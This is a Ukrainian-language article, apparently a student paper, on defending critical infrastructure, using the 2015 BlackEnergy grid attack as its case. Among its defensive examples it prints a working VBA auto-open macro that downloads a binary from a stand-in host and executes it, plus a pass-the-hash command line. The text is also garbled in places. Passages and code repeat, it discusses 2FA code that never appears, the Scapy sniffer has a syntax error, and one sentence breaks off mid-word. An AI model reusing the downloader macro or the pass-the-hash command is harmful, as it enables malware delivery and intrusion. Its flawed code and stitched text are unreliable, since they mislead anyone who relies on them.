Розробка та оцінка ефективності системи виявлення та захисту від атак на системи критично важливої інфраструктури
Кібератака на українську електромережу у 2015 році стала яскравим прикладом успішного застосування кібервійни. Ця атака призвела до масштабного відключення електроенергії в Україні, від якого постраждали сотні тисяч людей. Вважається, що атака була здійснена російською групою кібершпигунства, відомою як "Піщаний черв'як", і вважається першою успішною кібератакою на електромережу.
Шкідливе програмне забезпечення BlackEnergy, використане в атаці, є складним шкідливим програмним забезпеченням, яке існує щонайменше з 2007 року. З часом він еволюціонував і використовувався в різних атаках, включаючи цілеспрямовані атаки на уряди, енергетичні компанії та об'єкти критичної інфраструктури.
Шкідливе програмне забезпечення зазвичай надсилається через електронні листи з фішинговими атаками, які містять шкідливі вкладення або посилання. Після інсталяції на цільову систему він може виконувати різні функції, зокрема:
- Викрадення облікових даних та іншої конфіденційної інформації
- Створення бекдору для віддаленого доступу та керування
- Завантаження та запуск додаткового шкідливого програмного забезпечення
- Порушення або відключення мережевого підключення та систем зв'язку
- Знищення даних або інших критично важливих активів
Шкідливе програмне забезпечення BlackEnergy є високомодульним і може бути налаштоване відповідно до конкретних потреб і цілей зловмисника. Його можна використовувати як окремий інструмент або в поєднанні з іншими шкідливими програмами та методами атаки.
У випадку з атакою на енергосистему України у 2015 році зловмисники використовували фішингові електронні листи для розповсюдження шкідливого документа Microsoft Word, який використовував вразливість "нульового дня" в Microsoft Office. Документ Word містив макрос, який відповідав за фактичне виконання шкідливого програмного забезпечення.
Ось приклад того, як міг би виглядати макрокод:
Sub auto_open()
Dim strBuf As String
Dim intPos As Integer
Dim strFile As String
strBuf = "www.abc.com/malware.bin"
strFile = Environ$("Temp") & "\XKG47h2x.tmp"
Set oHttp = CreateObject("MSXML2.XMLHTTP")
oHttp.Open "GET", strBuf, False
oHttp.Send
If oHttp.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oHttp.responseBody
oStream.SaveToFile strFile, 2
oStream.Close
Set oStream = Nothing
End If
Call Shell(strFile, vbNormalFocus)
End Sub
Цей макрокод завантажує двійковий файл шкідливого програмного забезпечення з віддаленого сервера і зберігає його у тимчасовому файлі на зараженій системі. Потім він виконує двійковий файл шкідливого програмного забезпечення за допомогою функції Windows Shell.
Шкідливе програмне забезпечення BlackEnergy розроблене таким чином, щоб уникати виявлення і залишатися прихованим в інфікованій системі. Для цього він використовує різні методи, включаючи шифрування, заходи протидії налагодженню та методи протидії аналізу.
Цей макрокод завантажує двійковий файл шкідливого програмного забезпечення з віддаленого сервера і зберігає його у тимчасовому файлі на зараженій системі. Потім він виконує двійковий файл шкідливого програмного забезпечення за допомогою функції Windows Shell.
Шкідливе програмне забезпечення BlackEnergy розроблене таким чином, щоб уникати виявлення і залишатися прихованим в інфікованій системі. Для цього він використовує різні методи, включаючи шифрування, заходи протидії налагодженню та методи протидії аналізу.
$ pass-the-hash.py <target-ip> <domain>/<username>:<ntlm-hash>
Зловмисник використовує інструмент pass-the-hash.py для аутентифікації у віддаленій системі за допомогою викрадених хешів NTLM без необхідності знати справжній пароль. Таким чином, зловмисник може отримати доступ до цільової системи, не викликаючи жодних сповіщень від традиційних рішень безпеки.
Отримавши доступ до віддаленої системи, зловмисник може використовувати різні інструменти і методи для подальшого проникнення в мережу, для запобігання ми будемо використовувати наступні кроки.
import re
def detect_phishing_email(email_subject, email_body):
# Перелік підозрілих слів, які часто використовуються у фішингових емейлах
suspicious_keywords = ['urgent', 'account', 'verification', 'password', 'update']
if any(keyword in email_subject.lower() for keyword in suspicious_keywords):
return True
# Перевірка на наявність підозрілих посилань
if re.search(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', email_body):
return True
return False
# Приклад
email_subject = "Urgent account verification required!"
email_body = "Please click on this link to verify your account: http://suspicious-link.com"
is_phishing = detect_phishing_email(email_subject, email_body)
print(f"Is phishing: {is_phishing}")
Двофакторна аутентифікація (2FA), демонстрована у наведеному коді, значно підвищує безпеку мереж критично важливої інфраструктури, вимагаючи два різні види даних для підтвердження особи користувача: щось, що він знає (пароль), та щось, що він має (одноразовий пароль, генерований на основі секретного ключа). Це ускладнює несанкціонований доступ до систем, оскільки зловмиснику потрібно буде володіти обома видами даних, що значно знижує ризик компрометації системи через крадіжку або вгадування статичних паролів.
У контексті захисту мереж критичної інфраструктури, де наслідки несанкціонованого доступу можуть бути особливо руйнівними, використання 2FA може значно знизити ризик кібератак, таких як:
Фішинг: Атаки, спрямовані на викрадення облікових даних користувачів, можуть бути менш ефективними, оскільки знання пароля не буде достатнім без одноразового пароля.
Атаки по методу грубої сили: Спроби автоматизованого підбору паролів стають марними, бо одноразовий пароль постійно змінюється.
Використання вкрадених облікових даних: Навіть якщо зловмисник отримає пароль, відсутність фізичного токена або доступу до генератора одноразових паролів блокує подальший доступ. Таким чином, впровадження двофакторної аутентифікації є критично важливим елементом загальної стратегії кібербезпеки для захисту систем критично важливої інфраструктури від різноманітних видів кібератак.
import re
def detect_phishing_email(email_subject, email_body):
# Перелік підозрілих слів, які часто використовуються у фішингових емейлах
suspicious_keywords = ['urgent', 'account', 'verification', 'password', 'update']
if any(keyword in email_subject.lower() for keyword in suspicious_keywords):
return True
# Перевірка на наявність підозрілих посилань
if re.search(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', email_body):
return True
return False
# Приклад
email_subject = "Urgent account verification required!"
email_body = "Please click on this link to verify your account: http://suspicious-link.com"
is_phishing = detect_phishing_email(email_subject, email_body)
print(f"Is phishing: {is_phishing}")
Функція detect_phishing_email, наведена в коді, служить для виявлення фішингових електронних листів, які є часто використовуваним методом кібератак. Цей метод базується на аналізі змісту електронних листів на предмет наявності певних ознак, які є типовими для фішингових атак. Ось як працює ця функція:
Аналіз заголовку листа: Функція перевіряє заголовок електронного листа (email_subject) на наявність підозрілих ключових слів, таких як "urgent", "account", "verification", "password", "update". Ці слова часто використовуються у фішингових емейлах для створення відчуття негайної потреби або терміновості, що спонукає жертву негайно виконати певні дії, такі як клік по посиланню або введення конфіденційної інформації.
Пошук підозрілих посилань у тілі листа: Функція також аналізує тіло листа (email_body) на наявність посилань, які можуть вести на шкідливі сайти або сторінки, призначені для збору особистої інформації. Використовується регулярний вираз для ідентифікації посилань, який визначає типові характеристики URL.
Якщо будь-яка з цих перевірок повертає True, функція вважає, що лист є фішинговим, і повертає True. У наведеному прикладі, заголовок листа містить слово "Urgent", а тіло листа містить підозріле посилання, що відповідає критеріям фішингу, тому функція визначає лист як фішинговий і повертає True.
Цей метод може ефективно захистити користувачів від потенційно шкідливих фішингових атак, шляхом попередження про ризики перед тим, як користувач виконає будь-які дії, які можуть призвести до втрати особистої інформації або компрометації безпеки системи.
from scapy.all import *
def packet_analysis(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load.lower()
if b'user' in payload or b'pass' in payload
# ймовірно містить дані для авторизації
print(f"Potential sensitive data transfer detected from {packet[IP].src} to {packet[IP].dst}")
# Запуск моніторингу мережевого трафіку
sniff(filter="tcp", prn=packet_analysis, store=0, count=100)
Цей код використовує бібліотеку Scapy для моніторингу мережевого трафіку з метою виявлення потенційної передачі конфіденційної інформації, такої як імена користувачів та паролі. Ось як він працює:
Моніторинг трафіку: За допомогою функції sniff, код постійно моніторить мережевий трафік, що проходить через інтерфейс, фільтруючи TCP пакети. Опція store=0 означає, що пакети не будуть зберігатися в пам’яті, а count=100 обмежує кількість оброблених пакетів до 100.
Аналіз пакетів: Для кожного пакету, що відповідає критеріям (містить TCP і Raw дані), виконується функція packet_analysis. Вона перевіряє, чи містить вміст пакета (payload) слова 'user' або 'pass' (які можуть вказувати на інформацію для авторизації), враховуючи, що ці строки перетворені в нижній регістр для уникнення пропущення через випадкове використання регістру. Виявлення потенційних загроз: Якщо вміст пакета містить слова 'user' або 'pass', код ідентифікує це як потенційну передачу конфіденційної інформації та виводить повідомлення з IP-адресами відправника та отримувача, що дозволяє зрозуміти, між якими вузлами мережі відбувається можлива небезпечна активність. Як цей код може захистити мережі критичної інфраструктури від кібератак:
Проактивне виявлення: Використання цього скрипта дозволяє виявити потенційно шкідливу активність в реальному часі, наприклад, спроби перехоплення або неналежного передавання облікових даних. Мінімізація ризиків: Швидке ідентифікування такої активності дозволяє оперативно реагувати на загрози, наприклад, блокуванням зловмисного трафіку або зміною облікових даних, мінімізуючи потенційні ризики. Аналіз та підвищення обізнаності: Аналіз мережевого трафіку може допомогти виявити слабкі місця в мережевій інфраструктурі та поліпшити стратегії безпеки, підвищуючи загаль.
Bash script:
sudo ip link add link eth0 name eth0.1 type vlan id 1
sudo ip addr add 192.168.1.1/24 dev eth0.1
sudo ip link set dev eth0.1 up
Цей bash-скрипт створює новий інтерфейс віртуальної локальної мережі (VLAN) на мережевому інтерфейсі "eth0". Інтерфейсу VLAN присвоюється IP-адреса 192.168.1.1 з маскою підмережі /24 (255.255.255.0). Нарешті, інтерфейс VLAN буде створено. Цей сценарій можна використовувати для створення окремого сегмента мережі для систем критичної інфраструктури, ізольованих від решти мережі з міркувань безпеки.
- Навчання та підвищення обізнаності користувачів, щоб допомогти співробітникам виявляти та уникати фішингових листів та інших тактик соціальної інженерії.
- Комплексне антивірусне рішення та рішення для захисту кінцевих точок для виявлення та блокування заражень шкідливим програмним забезпеченням.
- Регулярне виправлення та оновлення програмного забезпечення для забезпечення усунення відомих вразливостей.
- Ефективна сегментація мережі та контроль доступу для обмеження розповсюдження шкідливого програмного забезпечення в мережі.
- Постійний моніторинг та аналіз мережевого трафіку та системних журналів для виявлення підозрілої активності та потенційних інцидентів безпеки. Впроваджуючи ці заходи безпеки і залишаючись пильними до нових загроз, організації можуть допомогти запобігти успішним кібератакам і захистити свою критично важливу інфраструктуру від кібератак.
Впроваджуючи ці технічні заходи на додаток до заходів безпеки, згаданих вище, організації можуть зміцнити свою загальну систему кібербезпеки і знизити ризик успішних кібератак на системи критичної інфраструктури.
У світлі зростаючої залежності від технологій та постійного розвитку кіберзагроз, захист систем критично важливої інфраструктури є надзвичайно важливим. Атака на електромережу України в 2015 році є вагомим прикладом потенційних наслідків кібератак і підкреслює необхідність організацій вживати проактивних заходів для захисту своєї критично важливої інфраструктури.
Використання складного шкідливого програмного забезпечення, такого як BlackEnergy, та технік, що дозволяють "жити за рахунок землі", таких як pass-the-hash, вимагають від організацій реалізації надійних заходів безпеки. Такі технічні заходи, як сегментація мережі, двофакторна аутентифікація, системи виявлення та запобігання вторгненням (IDPS), білі списки додатків та зміцнення систем, є критично важливими для мінімізації поверхні атаки і зниження ризику успішних кібератак.
Для ефективного протистояння кіберзагрозам організаціям необхідно не лише впроваджувати ці технічні заходи, а й забезпечувати постійне оновлення своїх знань про останні тенденції та передові практики у сфері кібербезпеки. Залишаючись пильними та проактивними, організації можуть значно знизити ризик кібератак та захистити свою критично важливу інфраструктуру від потенційних кібервійн.